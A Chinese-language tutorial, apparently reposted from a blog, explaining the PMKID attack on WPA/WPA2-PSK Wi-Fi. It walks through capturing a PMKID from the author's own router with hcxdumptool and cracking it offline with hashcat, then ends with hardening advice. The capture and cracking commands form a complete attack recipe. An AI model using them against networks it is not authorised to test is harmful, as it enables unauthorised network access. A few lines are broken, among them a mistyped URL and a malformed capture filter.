0x01 前言▸

2018年8月4日，在hashcat论坛上一位安全研究员发了一个帖子，声称他在研究WPA3的安全性时无意中发现了一种全新的预共享密钥攻击方式，通过使用PMKID（Pairwise Master Key Identifier，成对主密钥标识符）破解WPA/WPA2的预共享密钥，轰动了全球。这种“无客户端攻击”方法的出现，标志着暴力破解不再需要有活跃客户端的参与，但应用的条件有限，受影响范围较低。

0x02 攻击原理▸

1.介绍▸

在本系列文章的第二篇介绍了WPA2-PSK破解的原理，其必要条件是需要有EAPoL四次握手的报文，进而通过比较MIC值判断密钥是否正确。但是本文要介绍的这种方法的最大区别就在于它并不需要EAPoL四次握手包即可进行PSK的暴力破解。通过PMKID进行无客户端暴力破解PSK的攻击方式并没有造成特别大的影响，因为它利用了RSN IE (Robust Security Network Information Element)，漏洞的发现者称它适用于所有支持漫游功能的802.11i/p/q/r网络，这些特征在较高级的路由器上得到支持。360安全研究院高级安全研究员兼产品经理、天马安全团队核心成员杨芸菲(qingxp9)统计了家庭网络和写字楼中受此漏洞威胁的Wi-Fi网络实际上不足3%。这种方式之所以被称为“无客户端”攻击，是因为它是攻击者直接和AP对话的。

2.RSN▸

RSN IE是强健安全网络信息元素的简称，RSN要求必须使用AES加密以加强安全性，是一个802.11i的安全标准。其实，在2004年IEEE 802.11i修订完成后，WiFi联盟推出了沿用至今的WPA2，WPA2的加密由TKIP更新为AES正是因为RSN的要求。为了增强安全性，IEEE 802.11i为RSN提供了两个重要的协议：四次握手和主密钥握手，WPA/WPA2中的四次握手就源于此，因为它们都是基于802.11i的，顺便一提，WPA实际上是802.11i的一个草案标准，在802.11i修订成功后WiFi联盟便正式对其进行了升级并正式推出WPA2，所以WPA也使用四次握手也就不足为奇了。RSN IE最大为255字节，报文结构如下：

RSN IE是802.11管理帧中的一个可变长度的可选字段，存在于在这些类型的帧中：

• Beacon frames.(send by AP)

• Probe Response frames.(send by AP)

• Association Request frames.(send by Client)

• Reassociation Request frames (Send by client)

  
  

如果想通过wireshark抓包，可以通过这个过滤器来抓取这4种管理帧：

wlan.fc.type == 0 && (wlan.fc.type_subtype == 0x00 wlan.fc.type_subtype == 0x00 wlan.fc.type_subtype == 0x05 wlan.fc.type_subtype == 0x08)

3.PMKID▸

PMKID存在于RSN Information中的RSN Capabilies字段内。该漏洞发现者在hashcat论坛原文中贴出了PMKID的wireshark报文截图：

PMKID是通过PMK等进行哈希得到的一个哈希值，其计算公式为：

PMKID = HMAC-SHA1-128(PMK, “PMK Name” MAC_AP MAC_STA)

让我们再次回顾EAPoL四次握手：在完成链路关联后开始四次握手，可以看到，第一个携带着EAPoL Key的消息是由AP发出的：

因此，攻击者可以与AP开始四次握手，在四次握手的Message 1中得到所需要的数据，之后进行哈希爆破，并不需要其他客户端的参与。

4.IEEE 802.11r▸

该攻击方法的提出者称这种方法应用于支持漫游的WPA/WPA2-PSK认证的Wi-Fi网络。所谓漫游是一种支持从一个基站快速“无缝”切换到另一个基站的技术。举个例子，假设坐在高铁上打了10分钟的电话，高铁的速度是300km/h，那么这10分钟高铁行走了50公里，一个4G的基站的信号覆盖范围只有几百米，对于50公里肯定切换了很多个基站，但排除信号不好的情况下电话并没有发生卡顿，通话者也毫无感觉，这就是漫游。更多相关知识请参考CCIE Wireless或CWSP认证相关文档。

0x03 攻击实现▸

环境介绍：

• PSK：wWw.Gem-Love.Com

• 认证：WPA2-PSK

• 客户端：无

• 路由器型号：Cisco CVR100W SmallBusiness VPN Router

• 攻击者：Kali Linux 2019.4

1.工具安装▸

本攻击需要hcxtools/hcxdumptol/hashcat这三个工具

① 安装hcxtools▸

b

git clone https://github.con/ZerBea/hcxtools.git
make
make install

② 安装hcxdumptool

git clone https://github.com/ZerBea/hcxdumptool.git
make
make install

paintext

③ 安装hashcat▸

hashcat在kali linux下自带了。安装方式：▸

pla

git clone https://github.com/hashcat/hashcat.git
make 
make install

intext

2.捕获PMKID▸

首先用airmon-ng将网卡置于Monitor Mode

airmon-ng start wlan0

使用hcxdumptool破获PMKID

hcxdumptool -o /root/y1ng.pcapng -i wlan0mon --enable_status=1

在最下面可以看到这样的消息，表示获取PMKID成功：

16:52:59 4 b0febdd69882 <-> 10bd18082864 PMKID:b418e4f858c1b0c37662a8d5042014f2 (Cisco_GEM-LOVE.COM)

获取到目标的PMKID就可以暂停了

3.格式转换▸

这一步 目的是将刚刚的pccap包转换成hashcat可用的格式，使用hcxpcaptool：

hcxpcaptool -z y1ng.16800 y1ng.pcapng

这个16800可以通过hashcat --help查看帮助看到对应的hash类型：

16800 WPA-PMKID-PBKDF2 Network Protocols

导出的16800格式的文件会每个PMKID占一行，打开是这样的：

用3个星号将它们分成4个部分，分别表示：

• PMKID

• MAC AP

• MAC Station

• ESSID

4.暴力破解▸

之后就可以使用hashcat进行破解了，我使用了一个包含100个密码的字典来演示，其中有我的正确的密码：

命令：

hashcat -m 16800 y1ng.16800 -a 0 -w 3 pass.txt –force

相关参数的解释：

-w, --workload-profile  Num  Enable a specific workload profile, see pool below  -w 3

- [ Workload Profiles ] -

#  Performance  Runtime  Power Consumption  Desktop Impact

===+=============+=========+===================+=================
1  Low  2 ms  Low  Minimal
2  Default  12 ms  Economic  Noticeable
3  High  96 ms  High  Unresponsive
4  Nightmare  480 ms  Insane  Headless

-a, --attack-mode  Num  Attack-mode, see references below  -a 3

- [ Attack Modes ] -

#  Mode

===+======
0  Straight
1  Combination
3  Brute-force
6  Hybrid Wordlist + Mask
7  Hybrid Mask + Wordlist

--force是可选参数，用来忽略一些warning，如果报warning的话就加上 爆破成功则会得到预共享密钥了

0x04 安全建议▸

• 无客户端攻击扔是离线暴力破解攻击，需要用户增强PSK密钥强度

• 若无需要且条件允许则关闭Roaming

• 及时更新路由器固件，摒弃不良Wi-Fi上网习惯，不用“万能钥匙”，不连接公共Wi-Fi

作者：颖奇L'Amore

原文地址：https://www.gem-love.com/

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原文始发于微信公众号（渗透测试网络安全）：PMKID攻击 无需握手包破解WPA/WPA2 PSK